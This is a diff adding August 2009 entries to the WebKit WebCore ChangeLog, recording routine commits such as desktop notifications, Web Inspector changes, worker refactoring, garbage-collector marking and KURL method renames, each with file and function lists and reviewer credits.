+        * bindings/js/JSDesktopNotificationsCustom.cpp: Added.
+        (WebCore::JSNotificationCenter::requestPermission):
+        (WebCore::JSNotification::addEventListener):
+        (WebCore::JSNotification::removeEventListener):
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+        (WebCore::toEventTarget):
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::toNotification):
+        * dom/EventTarget.h:
+        * loader/EmptyClients.h:
+        (WebCore::EmptyChromeClient::notificationPresenter):
+        * notifications: Added.
+        * notifications/Notification.cpp: Added.
+        (WebCore::Notification::Notification):
+        (WebCore::Notification::~Notification):
+        (WebCore::Notification::show):
+        (WebCore::Notification::cancel):
+        (WebCore::Notification::ondisplay):
+        (WebCore::Notification::setOndisplay):
+        (WebCore::Notification::onerror):
+        (WebCore::Notification::setOnerror):
+        (WebCore::Notification::onclose):
+        (WebCore::Notification::setOnclose):
+        (WebCore::Notification::getAttributeEventListener):
+        (WebCore::Notification::setAttributeEventListener):
+        (WebCore::Notification::clearAttributeEventListener):
+        (WebCore::Notification::dispatchDisplayEvent):
+        (WebCore::Notification::dispatchErrorEvent):
+        (WebCore::Notification::dispatchCloseEvent):
+        (WebCore::Notification::addEventListener):
+        (WebCore::Notification::removeEventListener):
+        (WebCore::Notification::handleEvent):
+        (WebCore::Notification::dispatchEvent):
+        * notifications/Notification.h: Added.
+        (WebCore::Notification::create):
+        (WebCore::Notification::isHTML):
+        (WebCore::Notification::url):
+        (WebCore::Notification::contents):
+        (WebCore::Notification::scriptExecutionContext):
+        (WebCore::Notification::toNotification):
+        (WebCore::Notification::refEventTarget):
+        (WebCore::Notification::derefEventTarget):
+        * notifications/Notification.idl: Added.
+        * notifications/NotificationCenter.cpp: Added.
+        (WebCore::NotificationCenter::NotificationCenter):
+        (WebCore::NotificationCenter::checkPermission):
+        (WebCore::NotificationCenter::requestPermission):
+        * notifications/NotificationCenter.h: Added.
+        (WebCore::NotificationCenter::create):
+        (WebCore::NotificationCenter::createHTMLNotification):
+        (WebCore::NotificationCenter::createNotification):
+        (WebCore::NotificationCenter::context):
+        (WebCore::NotificationCenter::presenter):
+        * notifications/NotificationCenter.idl: Added.
+        * notifications/NotificationContents.h: Added.
+        (WebCore::NotificationContents::NotificationContents):
+        (WebCore::NotificationContents::icon):
+        (WebCore::NotificationContents::title):
+        (WebCore::NotificationContents::body):
+        * notifications/NotificationPresenter.h: Added.
+        (WebCore::NotificationPresenter::):
+        (WebCore::NotificationPresenter::~NotificationPresenter):
+        * page/Chrome.cpp:
+        (WebCore::Chrome::notificationPresenter):
+        * page/Chrome.h:
+        * page/ChromeClient.h:
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::clear):
+        (WebCore::DOMWindow::webkitNotifications):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        * page/Page.h:
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::~WorkerContext):
+        (WebCore::WorkerContext::webkitNotifications):
+        * workers/WorkerContext.h:
+        * workers/WorkerContext.idl:
+        * workers/WorkerThread.h:
+        (WebCore::WorkerThread::getNotificationPresenter):
+        (WebCore::WorkerThread::setNotificationPresenter):
+
+2009-08-11  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Console Drawer is Toggling instead of Staying Open
+        https://bugs.webkit.org/show_bug.cgi?id=28115
+
+        * inspector/front-end/Drawer.js:
+        (WebInspector.Drawer.prototype.showView): ensures the drawer will be open and showing the provided view
+        * inspector/front-end/inspector.js:
+        (WebInspector.showConsole): usees the new showView to guarantee the Drawer will be open
+        (WebInspector.showChanges): uses the new showView guarantee the Drawer will be open
+
+2009-08-11  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] WMLPageState is not allowed to store the active card, it needs to be done per document
+        https://bugs.webkit.org/show_bug.cgi?id=28180
+
+        Don't store the active WMLCardElement in WMLPageState, but in WMLDocument.
+        Otherwhise this may lead to crashes related to intrinsic event exeuction.
+
+        Unfortunately select elements aren't testable by the layout tests, so adding
+        a new manual test reproducing the crash.
+
+        * manual-tests/wml/select-onpick-event-crash.wml: Added.
+        * wml/WMLCardElement.cpp:
+        (WebCore::WMLCardElement::determineActiveCard):
+        * wml/WMLDoElement.cpp:
+        (WebCore::WMLDoElement::defaultEventHandler):
+        * wml/WMLDocument.cpp:
+        (WebCore::WMLDocument::finishedParsing):
+        * wml/WMLDocument.h:
+        (WebCore::WMLDocument::activeCard):
+        * wml/WMLGoElement.cpp:
+        (WebCore::WMLGoElement::executeTask):
+        * wml/WMLPageState.cpp:
+        (WebCore::WMLPageState::WMLPageState):
+        * wml/WMLPageState.h:
+        * wml/WMLPrevElement.cpp:
+        (WebCore::WMLPrevElement::executeTask):
+        * wml/WMLRefreshElement.cpp:
+        (WebCore::WMLRefreshElement::executeTask):
+
+2009-08-07  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28073
+        Treat icons with no bit count and no color count as 256-color for
+        purposes of quality ranking.  Also fix a couple cases of a style
+        violation.
+
+        Test: fast/images/icon-0colors.html
+
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::processDirectory):
+        (WebCore::ICOImageDecoder::readDirectoryEntry):
+
+2009-08-11  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Need to refactor WorkerObjectProxy.
+        https://bugs.webkit.org/show_bug.cgi?id=28136
+
+        Added WorkerReportingProxy for reporting worker state (exceptions, console messages, thread exited) to the parent.
+
+        Existing tests are sufficient, as this is only a refactoring.
+
+        * GNUmakefile.am:
+        Added WorkerReportingProxy.h to build.
+        * WebCore.gypi:
+        Added WorkerReportingProxy.h to build.
+        * WebCore.vcproj/WebCore.vcproj:
+        Added WorkerReportingProxy.h to build.
+        * WebCore.xcodeproj/project.pbxproj:
+        Added WorkerReportingProxy.h to build.
+        * workers/DedicatedWorkerContext.cpp:
+        * workers/DedicatedWorkerContext.h:
+        Removed addMessage/forwardException() APIs - now handled by WorkerReportingProxy.
+        * workers/DedicatedWorkerThread.cpp:
+        (WebCore::DedicatedWorkerThread::DedicatedWorkerThread):
+        Changed constructor to pass WorkerReportingProxy to base class.
+        * workers/DefaultSharedWorkerRepository.cpp:
+        Updated SharedWorkerProxy to implement WorkerReportingProxy interface.
+        (WebCore::SharedWorkerProxy::postExceptionToWorkerObject):
+        (WebCore::SharedWorkerProxy::postConsoleMessageToWorkerObject):
+        (WebCore::SharedWorkerProxy::workerContextClosed):
+        (WebCore::SharedWorkerProxy::workerContextDestroyed):
+        (WebCore::DefaultSharedWorkerRepository::workerScriptLoaded):
+        Now passes in WorkerReportingProxy when creating SharedWorkerThread.
+        * workers/SharedWorkerContext.cpp:
+        * workers/SharedWorkerContext.h:
+        Removed addMessage/forwardException() APIs - now handled by WorkerReportingProxy.
+        * workers/SharedWorkerThread.cpp:
+        (WebCore::SharedWorkerThread::create):
+        (WebCore::SharedWorkerThread::SharedWorkerThread):
+        Passes WorkerReportingProxy to base class constructor.
+        * workers/SharedWorkerThread.h:
+        Constructor now takes a WorkerReportingProxy.
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::~WorkerContext):
+        Moved code that calls workerContextDestroyed() into base class so shared workers share this functionality.
+        (WebCore::WorkerContext::close):
+        Now notifies WorkerReportingProxy when the thread is closing.
+        (WebCore::WorkerContext::reportException):
+        Reports exceptions via WorkerReportingProxy.
+        (WebCore::WorkerContext::addMessage):
+        Reports console messages via WorkerReportingProxy.
+        * workers/WorkerContext.h:
+        * workers/WorkerObjectProxy.h:
+        (WebCore::WorkerObjectProxy::workerContextClosed):
+        Default empty implementation for dedicated workers.
+        * workers/WorkerReportingProxy.h: Added.
+        Base interface that contains APIs moved from WorkerObjectProxy.
+        (WebCore::WorkerReportingProxy::~WorkerReportingProxy):
+        * workers/WorkerThread.cpp:
+        (WebCore::WorkerThread::WorkerThread):
+        Updated constructor to accept a WorkerReportingProxy.
+        * workers/WorkerThread.h:
+        (WebCore::WorkerThread::workerReportingProxy):
+
+2009-08-11  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by NOBODY (build fix).
+
+        Fix the Qt build after r47022.
+
+        Use the new markChildren() pattern for marking aggregate/child objects.
+
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtRuntimeObjectImp::markChildren):
+        (JSC::Bindings::QtInstance::markAggregate):
+        * bridge/qt/qt_instance.h:
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::QtRuntimeMetaMethod::markChildren):
+        * bridge/qt/qt_runtime.h:
+
+2009-08-11  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        Fix the build on the Qt build bot by making the generated JS bindings
+        files depend on the code generator itself.
+
+        * WebCore.pro:
+
+2009-08-07  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Sam Weinig
+
+        Stack overflow crash in JavaScript garbage collector mark pass
+        https://bugs.webkit.org/show_bug.cgi?id=12216
+
+        Make WebCore use the new iterative marking logic.
+
+        Tests: fast/js/nested-object-gc.html
+
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        (WebCore::JSAbstractWorker::markChildren):
+        * bindings/js/JSDOMApplicationCacheCustom.cpp:
+        (WebCore::JSDOMApplicationCache::markChildren):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::markDOMNodesForDocument):
+        (WebCore::markActiveObjectsForContext):
+        (WebCore::markDOMObjectWrapper):
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObjectWithGlobalPointer::markChildren):
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::JSDOMGlobalObject::markChildren):
+        * bindings/js/JSDOMGlobalObject.h:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::markChildren):
+        * bindings/js/JSDOMWindowShell.cpp:
+        (WebCore::JSDOMWindowShell::markChildren):
+        * bindings/js/JSDOMWindowShell.h:
+        * bindings/js/JSDedicatedWorkerContextCustom.cpp:
+        (WebCore::JSDedicatedWorkerContext::markChildren):
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::JSDocument::markChildren):
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::markJSFunction):
+        * bindings/js/JSEventListener.h:
+        * bindings/js/JSMessageChannelCustom.cpp:
+        (WebCore::JSMessageChannel::markChildren):
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::markChildren):
+        * bindings/js/JSNavigatorCustom.cpp:
+        (WebCore::JSNavigator::markChildren):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::markChildren):
+        * bindings/js/JSNodeFilterCondition.cpp:
+        (WebCore::JSNodeFilterCondition::markAggregate):
+        * bindings/js/JSNodeFilterCondition.h:
+        * bindings/js/JSNodeFilterCustom.cpp:
+        (WebCore::JSNodeFilter::markChildren):
+        * bindings/js/JSNodeIteratorCustom.cpp:
+        (WebCore::JSNodeIterator::markChildren):
+        * bindings/js/JSQuarantinedObjectWrapper.cpp:
+        (WebCore::JSQuarantinedObjectWrapper::markChildren):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::markChildren):
+        * bindings/js/JSSharedWorkerCustom.cpp:
+        (WebCore::JSSharedWorker::markChildren):
+        * bindings/js/JSStyleSheetCustom.cpp:
+        (WebCore::JSStyleSheet::markChildren):
+        * bindings/js/JSTreeWalkerCustom.cpp:
+        (WebCore::JSTreeWalker::markChildren):
+        * bindings/js/JSWebSocketCustom.cpp:
+        (WebCore::JSWebSocket::markChildren):
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::markChildren):
+        * bindings/js/JSWorkerCustom.cpp:
+        (WebCore::JSWorker::markChildren):
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::markChildren):
+        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
+        (WebCore::JSXMLHttpRequestUpload::markChildren):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * dom/EventListener.h:
+        (WebCore::EventListener::markJSFunction):
+        (WebCore::markIfNotNull):
+        * dom/NodeFilter.h:
+        (WebCore::NodeFilter::markAggregate):
+        * dom/NodeFilterCondition.h:
+        (WebCore::NodeFilterCondition::markAggregate):
+        * dom/RegisteredEventListener.h:
+        (WebCore::markEventListeners):
+        * page/DOMWindow.h:
+        * workers/WorkerContext.h:
+
+2009-08-10  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Renamed all V8 NPN_ functions to _NPN_ to match JSC and make them "private".
+        https://bugs.webkit.org/show_bug.cgi?id=28089
+
+        Rename all the NPN_foo functions to _NPN_foo so that they can't directly be
+        called by mistake.  This roughly matches the way JSC does it, which is an
+        additional advantage.
+
+        * bindings/v8/NPV8Object.cpp:
+        (npCreateV8ScriptObject):
+        (_NPN_Invoke):
+        (_NPN_InvokeDefault):
+        (_NPN_Evaluate):
+        (_NPN_EvaluateHelper):
+        (_NPN_GetProperty):
+        (_NPN_SetProperty):
+        (_NPN_RemoveProperty):
+        (_NPN_HasProperty):
+        (_NPN_HasMethod):
+        (_NPN_SetException):
+        (_NPN_Enumerate):
+        (_NPN_Construct):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::clearScriptObjects):
+        (WebCore::ScriptController::createScriptInstanceForWidget):
+        (WebCore::ScriptController::cleanupScriptObjectsForPlugin):
+        * bindings/v8/V8NPObject.cpp:
+        (npObjectInvokeImpl):
+        (npObjectGetProperty):
+        (npObjectIndexedPropertyGetter):
+        (npObjectGetIndexedProperty):
+        (npObjectSetProperty):
+        (npObjectIndexedPropertySetter):
+        (npObjectSetIndexedProperty):
+        (weakNPObjectCallback):
+        (createV8ObjectForNPObject):
+        (forgetV8ObjectForNPObject):
+        * bindings/v8/V8NPUtils.cpp:
+        (getStringIdentifier):
+        * bindings/v8/npruntime.cpp:
+        * bindings/v8/npruntime_impl.h:
+
+2009-08-10  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Brady Eidson.
+
+        Change ___Storage.key() to match current spec behavior.
+        https://bugs.webkit.org/show_bug.cgi?id=28112
+
+        The current WebStorage spec says that ___Storage.key() should return null when
+        the index is out of bounds, rather than an exception.  A bunch of logic can be
+        simplified after this change.
+
+        * bindings/js/JSStorageCustom.cpp:
+        (WebCore::JSStorage::getPropertyNames):
+        * bindings/v8/custom/V8StorageCustom.cpp:
+        (WebCore::V8Custom::v8StorageNamedPropertyEnumerator):
+        * storage/Storage.cpp:
+        (WebCore::Storage::key):
+        * storage/Storage.h:
+        * storage/Storage.idl:
+        * storage/StorageArea.h:
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::StorageAreaImpl::key):
+        * storage/StorageAreaImpl.h:
+        * storage/StorageMap.cpp:
+        (WebCore::StorageMap::key):
+        * storage/StorageMap.h:
+
+2009-08-07  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28087
+
+        Mods for a chrome specific impl of ApplicationCacheHost.
+
+        * The public section of the interface is the same, but we use
+        PLATFORM(CHROMIUM) to identify which parts of the private
+        section are shared. The chrome specific internals are encapsulated
+        in a seperate ApplicationCacheHostInternal class. WebCore common
+        code only contains a forward reference to this class.
+
+        * Cleanup a couple of stale comments.
+
+        * Have window.applicationCache return null to script when the
+        feature is disabled in the preferences.
+        
+        No new tests.
+
+        * loader/appcache/ApplicationCacheHost.cpp:
+        * loader/appcache/ApplicationCacheHost.h:
+        (WebCore::ApplicationCacheHost::documentLoader):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::applicationCache):
+
+2009-08-10  Crystal Zhang  <crystal.zhang@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        Implement GraphicsContext::fillRoundRect() for WINCE port
+        https://bugs.webkit.org/show_bug.cgi?id=27842
+
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::rectCenterPoint):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::drawRoundCorner):
+
+2009-08-10  Anthony Ricaud  <rik@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector Resources / Graphs should support filtering
+        https://bugs.webkit.org/show_bug.cgi?id=20629
+
+        Introduces a filter bar for resources.
+
+        Thanks to Matt Lilek for the CSS scope bar.
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.createFilterElement):
+        (WebInspector.ResourcesPanel):
+        (WebInspector.ResourcesPanel.prototype.toolbarItemClass.categoryOrder.filter):
+        (WebInspector.ResourcesPanel.prototype._updateFilter):
+        (WebInspector.ResourcesPanel.prototype._updateSummaryGraph):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+
+2009-08-10  Brent Fulgham  <bfulgham@webkit.org>
+
+        Unreviewed build correction after http://trac.webkit.org/changeset/46978
+
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::ResourceHandleManager::initializeHandle):  Correct
+         deprecated removeRef to new removeFragmentIdentifier.
+
+2009-08-07  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Justin Garcia.
+
+        Background color formatting lost on enter
+        https://bugs.webkit.org/show_bug.cgi?id=20348
+
+        This patch makes background color be preserved during editing.
+        In particular, editingStyleAtPosition would include the background color when obtaining styles.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::): Added CSSPropertyBackgroundColor to editingStyleProperties
+
+2009-08-10  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Stop sending QEvent::CursorChange to Qt for mouse move.
+
+        Verify if the cursor didn't change in WidgetQt::setCursor,
+        just like the mac port does.
+
+        Thanks to Adriano Rezendo for spotting and debugging the
+        issue.
+
+        * platform/qt/WidgetQt.cpp:
+        (WebCore::Widget::setCursor):
+
+2009-08-10  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28165
+        Application cache maximum size cannot be set before the database is opened
+
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::vacuumDatabaseFile): Open appcache database if it isn't
+        open yet.
+
+2009-08-10  Vitaly Repeshko  <vitalyr@quad.spb.corp.google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix memory leak in node event listeners. See http://crbug.com/17400.
+        https://bugs.webkit.org/show_bug.cgi?id=28156
+
+        * bindings/scripts/CodeGeneratorV8.pm: Custom event handler accessors now apply to all Node descendants.
+        * bindings/v8/V8AbstractEventListener.h:
+        (WebCore::V8AbstractEventListener::isObjectListener): Added virtual method to detect listeners that have weak references to JS objects.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        * bindings/v8/V8ObjectEventListener.cpp:
+        * bindings/v8/V8ObjectEventListener.h:
+        (WebCore::V8ObjectEventListener::isObjectListener):
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::removeHiddenDependency):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        * bindings/v8/custom/V8NodeCustom.cpp: Moved custom accessors from V8ElementCustom.cpp.
+        (WebCore::toEventType):
+        (WebCore::getEventListener):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::getEventListener): Made static.
+
+2009-08-10  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Cleanup DOM Storage namespace shutdown code usage of security origin.
+        https://bugs.webkit.org/show_bug.cgi?id=28094
+
+        If a storage namespace is not explicitly closed, be sure to do so on
+        destruction of the object.  In addition, the close call should wait
+        on the background thread finishing its syncing.  (Not doing so is actually
+        a regression from the original LocalStorage code.)
+
+        There's no point to passing in the SecurityOrigin when copying a storage
+        area since what was passed in is exactly what is stored within each
+        storage area.  In addition, the non-copy constructor should take in a
+        PassRefPtr rather than a pointer since that pointer was only passed into
+        the constuctor for RefPtr's anyway.
+
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::StorageAreaImpl::StorageAreaImpl):
+        (WebCore::StorageAreaImpl::copy):
+        * storage/StorageAreaImpl.h:
+        * storage/StorageNamespaceImpl.cpp:
+        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl):
+        (WebCore::StorageNamespaceImpl::~StorageNamespaceImpl):
+        (WebCore::StorageNamespaceImpl::copy):
+        (WebCore::StorageNamespaceImpl::close):
+        * storage/StorageNamespaceImpl.h:
+
+2009-08-10  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Not reviewed, build fix.
+
+        Rename ref() to fragmentIdentifier() in the wml/ subdirectory.
+
+        * wml/WMLCardElement.cpp:
+        (WebCore::WMLCardElement::determineActiveCard):
+        * wml/WMLGoElement.cpp:
+        (WebCore::WMLGoElement::executeTask):
+        * wml/WMLPageState.cpp:
+        (WebCore::WMLPageState::canAccessDeck):
+
+2009-08-10  Steve Falkenburg  <sfalken@apple.com>
+
+        Windows build fix.
+
+        Exclude JSMedia.cpp from build since it is included in DerivedSources.cpp.
+        Fixes linker warnings.        
+        
+        Corrected spelling of JSInspectorBackend.cpp.
+        
+        Other changes related to actually using a Visual Studio to open/save the vcproj file.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-08-10  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Remove a dead #define.
+
+        * bindings/js/JSDOMBinding.cpp:
+
+2009-08-10  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Update KURLGoogle for ref* method renames in
+        http://trac.webkit.org/changeset/46978.
+        https://bugs.webkit.org/show_bug.cgi?id=28084
+
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::ACCESSOR_SETTER): Renamed ref and setRef to fragmentIdentifier and
+            setFragmentIdentifier, respectively.
+        * platform/KURLGoogle.cpp: Ditto, plus all other ref* method names.
+
+2009-08-10  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        [Gtk] Unreviewed. Fix the nit as suggested by Darin in bug #28144
+        for r46989.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::finishedCallback):
+
+2009-08-10  John Kjellberg  <john.kjellberg@power.alstom.com>
+
+        Reviewed by Darin Adler.
+
+        Memory leak in error handling code for SOUP interface
+        https://bugs.webkit.org/show_bug.cgi?id=28144
+
+        Freed memory leaked in error handling code for soup requests.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::finishedCallback):
+        (WebCore::):
+
+2009-08-10  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Provide graceful handling of the situation when an embedder invokes
+        visited link update methods before a Page constructor has been called.
+        https://bugs.webkit.org/show_bug.cgi?id=28149
+
+        * page/Page.cpp:
+        (WebCore::Page::allVisitedStateChanged): Added a null-check for allPages.
+        (WebCore::Page::visitedStateChanged): Ditto.
+
+2009-08-10  Xan Lopez  <xlopez@igalia.com>
+
+        Fix GTKbuild.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::):
+
+2009-08-10  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Remove the redundant, Windows CE-only GlyphBuffer::advnaceData()
+
+        * platform/graphics/GlyphBuffer.h: Removed advanceData().
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::drawText): Changed to use advances(from)
+            instead of advanceData() from.
+
+2009-08-10  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Remove workaround for older libsoup versions.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::fillResponseFromMessage):
+
+2009-08-10  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Let startHttp validate the URI instead of doing it, with potential
+        crashes, in ::start.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::startHttp):
+
+2009-08-10  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        When empty <input> is focused, getSelection() exposes shadow tree nodes
+        https://bugs.webkit.org/show_bug.cgi?id=15903
+
+        Test: fast/forms/shadow-tree-exposure.html
+
+        * page/DOMSelection.cpp:
+        (WebCore::selectionShadowAncestor): Added.
+        (WebCore::DOMSelection::anchorNode): Return the parent of the shadow
+        ancestor if the selection is in a shadow tree. Matches Firefox.
+        (WebCore::DOMSelection::anchorOffset): Return the index of the shadow
+        ancestor if the selection is in a shadow tree. Matches Firefox.
+        (WebCore::DOMSelection::focusNode): Ditto.
+        (WebCore::DOMSelection::focusOffset): Ditto.
+        (WebCore::DOMSelection::baseNode): More of the same, but since this
+        is a WebKit-invented property, it does not match Firefox.
+        (WebCore::DOMSelection::baseOffset): Ditto.
+        (WebCore::DOMSelection::extentNode): Ditto.
+        (WebCore::DOMSelection::extentOffset): Ditto.
+        (WebCore::DOMSelection::isCollapsed): Return true even when the
+        selection is a range, if the selection is in the shadow tree.
+        Matches Firefox. Also changed behavior when called and the frame
+        is gone to return true instead of false which makes more sense.
+        (WebCore::DOMSelection::empty): Use clear() just like the other
+        selection-clearing function in this file does.
+        (WebCore::DOMSelection::getRangeAt): Return a range that starts
+        and ends before the shadow ancestor. Matches Firefox.
+
+2009-08-10  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Make all status bar button images glyph-based.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28124
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel):
+        * inspector/front-end/Images/clearConsoleButtonGlyph.png: Added.
+        * inspector/front-end/Images/clearConsoleButtons.png: Removed.
+        * inspector/front-end/Images/consoleButtonGlyph.png: Added.
+        * inspector/front-end/Images/consoleButtons.png: Removed.
+        * inspector/front-end/Images/dockButtonGlyph.png: Added.
+        * inspector/front-end/Images/dockButtons.png: Removed.
+        * inspector/front-end/Images/enableButtons.png: Removed.
+        * inspector/front-end/Images/enableOutlineButtonGlyph.png: Added.
+        * inspector/front-end/Images/enableSolidButtonGlyph.png: Added.
+        * inspector/front-end/Images/excludeButtonGlyph.png: Added.
+        * inspector/front-end/Images/excludeButtons.png: Removed.
+        * inspector/front-end/Images/focusButtonGlyph.png: Added.
+        * inspector/front-end/Images/focusButtons.png: Removed.
+        * inspector/front-end/Images/largerResourcesButtonGlyph.png: Added.
+        * inspector/front-end/Images/largerResourcesButtons.png: Removed.
+        * inspector/front-end/Images/nodeSearchButtonGlyph.png: Added.
+        * inspector/front-end/Images/nodeSearchButtons.png: Removed.
+        * inspector/front-end/Images/pauseOnExceptionButtonGlyph.png: Added.
+        * inspector/front-end/Images/pauseOnExceptionButtons.png: Removed.
+        * inspector/front-end/Images/percentButtonGlyph.png: Added.
+        * inspector/front-end/Images/percentButtons.png: Removed.
+        * inspector/front-end/Images/recordButtonGlyph.png: Added.
+        * inspector/front-end/Images/recordButtons.png: Removed.
+        * inspector/front-end/Images/recordToggledButtonGlyph.png: Added.
+        * inspector/front-end/Images/reloadButtonGlyph.png: Added.
+        * inspector/front-end/Images/reloadButtons.png: Removed.
+        * inspector/front-end/Images/undockButtonGlyph.png: Added.
+        * inspector/front-end/Panel.js:
+        (WebInspector.Panel.prototype.createStatusBarButton):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+
+2009-08-07  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        KURL ref() methods should be fragmentIdentifier() methods 
+        https://bugs.webkit.org/show_bug.cgi?id=28084
+
+        In addition to the renames, also took the chance to replace all use of:
+        setRef(String());
+        with:
+        removeFragmentIdentifier();
+
+        * platform/KURL.cpp:
+        (WebCore::KURL::fragmentIdentifier):
+        (WebCore::KURL::hasFragmentIdentifier):
+        (WebCore::KURL::setFragmentIdentifier):
+        (WebCore::KURL::removeFragmentIdentifier):
+        (WebCore::KURL::prettyURL):
+        (WebCore::equalIgnoringFragmentIdentifier):
+        * platform/KURL.h:
+
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::JSLocation::setHash): Rework with new names, and to use the new equalIgnoringNullity() method.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::internalLinkElement):
+        * css/CSSCursorImageValue.cpp:
+        (WebCore::isSVGCursorIdentifier):
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::isCurrentDocument):
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::hash):
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::isURLAllowed):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::begin):
